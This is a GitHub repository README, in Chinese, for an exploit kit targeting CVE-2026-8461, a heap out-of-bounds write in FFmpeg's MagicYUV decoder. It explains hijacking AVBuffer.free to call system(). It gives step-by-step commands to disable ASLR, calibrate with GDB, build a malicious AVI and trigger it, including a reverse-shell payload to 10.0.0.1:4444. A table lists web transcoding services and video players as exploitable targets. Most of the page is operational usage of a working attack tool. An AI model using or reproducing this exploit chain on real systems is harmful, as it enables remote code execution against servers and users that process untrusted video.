Y5neKO/CVE-2026-8461-EXP
GitHub: Y5neKO/CVE-2026-8461-EXP
该项目是针对 FFmpeg MagicYUV 解码器堆越界写入漏洞(CVE-2026-8461)的自动化漏洞利用工具,附带 GDB 自动校准脚本以适配 debug 和生产构建环境。
Stars: 0 | Forks: 0
# CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV 堆 OOB 写入 PoC
**受影响版本:** FFmpeg 8.0.1 MagicYUV 解码器 (`libavcodec/magicyuv.c`)
**利用原语:** 堆 OOB 写入 → `AVBuffer.free` 劫持 → `system()` 调用
## 漏洞详情
`magy_decode_slice()` 使用 `sheight`(未钳制的 slice 高度)作为向 Cb/Cr 输出平面写入数据的循环边界,但在分配缓冲区时使用的是经过钳制的 `height`。在特殊构造的帧的最后一个 slice 中,循环写入会超出已分配区域的末尾。
```
// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB write when sheight > height
```
越界写入操作会落入随后分配的 `AVBuffer` 结构体中。通过控制写入的字节,`AVBuffer.free` 会被覆盖为 `system()` 的地址,同时 `AVBuffer.opaque` 会被覆盖为堆上命令字符串的地址。当释放该帧时,`av_buffer_unref()` 会调用 `system(cmd)`。
完整技术分析:[English](CVE-2026-8461_Analysis_EN.md) · [中文](CVE-2026-8461_Analysis.md)
## 文件列表
| 文件 | 描述 |
|------|-------------|
| `exploit_cve_2026_8461.py` | 漏洞利用 AVI 生成器 — 构造恶意 MagicYUV 比特流 |
| `auto_calibrate.py` | 针对 **debug 构建** 的自动校准(需要 `-g` 调试符号) |
| `auto_calibrate_nosym.py` | 针对 **生产构建** 的自动校准(已 strip,共享库) |
| `CVE-2026-8461_Analysis_EN.md` | 完整漏洞分析(英文) |
| `CVE-2026-8461_Analysis.md` | 完整漏洞分析(中文) |
| `ffmpeg_prod` | 用于本地测试的已 strip 生产环境 FFmpeg 8.0.1 二进制文件 |
## 环境要求
```
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR disabled — required for calibration)
```
Python 依赖:无(仅使用标准库)。
## 快速开始
### 步骤 0 — 禁用 ASLR
```
sudo sysctl -w kernel.randomize_va_space=0
```
### 步骤 1 — 生成校准
**Debug 构建**(使用 `-g` 编译,例如通过源码配合 `--enable-debug` 编译):
```
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
```
**生产构建**(已 strip 的共享库,例如通过 `apt install ffmpeg` 或自定义配置 `--enable-shared` 编译):
```
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
```
### 步骤 2 — 生成漏洞利用 AVI
```
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
```
### 步骤 3 — 触发
```
# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# 系统安装的 FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
```
预期输出:命令执行,随后进程崩溃并提示 `corrupted size vs. prev_size`。
```
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...
```

### 反向 shell 示例
```
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
```
## 校准脚本决策流程
```
Target FFmpeg binary
│
├─ Has debug symbols? (file ffmpeg | grep debug_info)
│ └─ YES → auto_calibrate.py
│
└─ Stripped / production
│
├─ Dynamically linked? (ldd ffmpeg | grep libavutil)
│ └─ YES → auto_calibrate_nosym.py
│
└─ Statically linked + fully stripped
└─ Neither script applies
(requires LD_PRELOAD malloc hook approach)
```
`auto_calibrate_nosym.py` 的工作原理如下:
1. 在 `av_buffer_create`(始终存在于 `libavutil.so .dynsym` 中)处下断点,无需源码级符号即可捕获 Cb 和 Cr 数据指针。
2. 在 OOB 起始地址上设置 GDB 硬件写入断点。
3. 分析生成的堆转储以定位 `AVBuffer` 结构体,并提取 `system()` 地址。
## 触发条件
当目标**解码**该视频帧(而不仅仅是探测它)时,漏洞利用将被触发:
| 调用方式 | 触发 RCE |
|------------|-------------|
| `ffmpeg -i evil.avi -f null -` | 是 |
| `ffmpeg -i evil.avi -o out.mp4` | 是 |
| Web 转码服务(libavcodec 解码循环) | 是 |
| 使用 libavcodec 的视频播放器 | 是 |
| `ffmpeg -i evil.avi`(未指定输出) | 否 — 进程在 `av_buffer_unref` 触发前即中止 |
| `ffprobe evil.avi` | 否 — 仅探测路径,未进行完整解码 |
## 基础 PoC(仅 OOB 写入,无 payload)
要在不执行命令的情况下演示该漏洞:
```
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# 崩溃并提示:free(): invalid pointer 或 corrupted size vs. prev_size
```
## 范围与限制
- **架构**:仅在 **x86_64** 架构上开发并测试。该漏洞利用依赖于特定的堆布局,即 `AVBuffer` 结构体需恰好位于 Cb 平面 OOB 起始地址之后的 640 字节范围内。在 aarch64 架构上,由于 glibc 的分配顺序会将 `AVBuffer` 放置在该范围之外(相邻的 chunk 是约 10 KB 大小的 Cr 缓冲区),因此在当前的帧几何参数下,OOB 写入无法触及该结构体。若要移植到 aarch64,需要对 aarch64 的堆布局进行性能分析,并相应地调整帧几何参数。
- **ASLR**:必须禁用(`kernel.randomize_va_space=0`)。如果启用了 ASLR,堆地址会在每次运行时随机化,导致校准失效。若要将此漏洞扩展到启用 ASLR 的目标,需要引入信息泄露原语。
- **校准范围**:仅对特定机器上的特定二进制文件有效。不同的构建版本、不同的 libc 版本,或不同的 AVI 路径长度都需要重新校准。
- **AVI 路径**:漏洞利用 AVI 必须通过与校准期间使用的完全相同的绝对路径进行交付。
- **`auto_calibrate_nosym.py`**:要求 FFmpeg 进行动态链接,且能够访问 `libavutil.so`(无论是在系统路径中,还是通过 `--libpath` 指定)。
标签:FFmpeg, PoC, Web报告查看器, 云资产清单, 堆溢出, 暴力破解, 逆向工具, 逆向工程